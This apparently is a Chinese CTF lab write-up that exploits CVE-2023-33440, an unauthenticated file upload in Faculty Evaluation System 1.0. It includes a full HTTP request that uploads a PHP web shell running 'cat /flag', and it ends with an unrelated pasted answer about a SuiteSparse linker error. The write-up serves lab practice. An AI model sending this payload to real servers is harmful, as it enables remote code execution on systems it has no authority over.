【春秋云镜】Faculty Evaluation System未授权任意文件上传漏洞(CVE-2023-33440)

因为该靶场没有Write up,索性自己搞一下,方便别人,快乐自己!

漏洞概述:

Sourcecodester Faculty Evaluation System v1.0 is vulnerable to arbitrary code execution via /eval/ajax.php?action=save_user.

漏洞复现:

访问目标地址

随便点都没啥东西,索性拿工具扫描下敏感路径

扫描到登录页面

登录邮箱不知道 一般是 admin@admin.com/admin 尝试无果,根据提示是未授权访问文件上传 ,应该不需要登录就能触发漏洞的,看了些漏洞介绍,直接burp suite抓包

POST /ajax.php?action=update_user HTTP/1.1
Host: XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://XXX/index.php?page=report
Content-Length: 750
Content-Type: multipart/form-data; boundary=---------------------------166782539326470
Connection: close

-----------------------------166782539326470
Content-Disposition: form-data; name="id"

1
-----------------------------166782539326470
Content-Disposition: form-data; name="firstname"

Administrator
-----------------------------166782539326470
Content-Disposition: form-data; name="lastname"

a
-----------------------------166782539326470
Content-Disposition: form-data; name="email"

admin@admin.com
-----------------------------166782539326470
Content-Disposition: form-data; name="password"

admin
-----------------------------166782539326470
Content-Disposition: form-data; name="img"; filename="php.php"
Content-Type: application/octet-stream

<?php system("cat /flag");?>
-----------------------------166782539326470--

只修改IP即可,发包即可上传成功

访问shell 地址,拿到flag

http://eci-2zecks8z718xjhk2x3al.cloudeci1.ichunqiu.com/assets/uploads/1718123700_php.php

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
The error "cannot find -lcxsparse" typically occurs when the linker cannot find the library "libcxsparse". This library is part of the SuiteSparse library, which provides sparse matrix functionality. To fix this issue, you need to ensure that the SuiteSparse library is installed and accessible to the linker. Here are some steps you can follow: 1. Install SuiteSparse: You can download the SuiteSparse library from its official website (http://faculty.cse.tamu.edu/davis/suitesparse.html) and follow the installation instructions specific to your platform. 2. Set library path: After installing SuiteSparse, make sure that the library path is properly set so that the linker can find the required libraries. You can do this by adding the path to the library folder to the LD_LIBRARY_PATH environment variable. For example, if you installed SuiteSparse in the "/usr/local/suitesparse" directory, you can add the following line to your shell's configuration file (e.g., ~/.bashrc or ~/.bash_profile): ```shell export LD_LIBRARY_PATH="/usr/local/suitesparse/lib:$LD_LIBRARY_PATH" ``` Don't forget to reload the configuration file or open a new terminal window for the changes to take effect. 3. Verify installation: To verify that SuiteSparse is correctly installed and accessible, you can try compiling and running a simple program that uses sparse matrix operations. For example, you can try compiling the SuiteSparse documentation's "mxm.c" example: ```shell gcc -o mxm mxm.c -lsuitesparseconfig -lcxsparse ``` If the compilation is successful and the program runs without any errors, it means that SuiteSparse is properly installed. If you have followed these steps and still encounter the "cannot find -lcxsparse" error, please provide more information about your development environment, including the operating system and the steps you have taken so far, so that I can assist you further.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值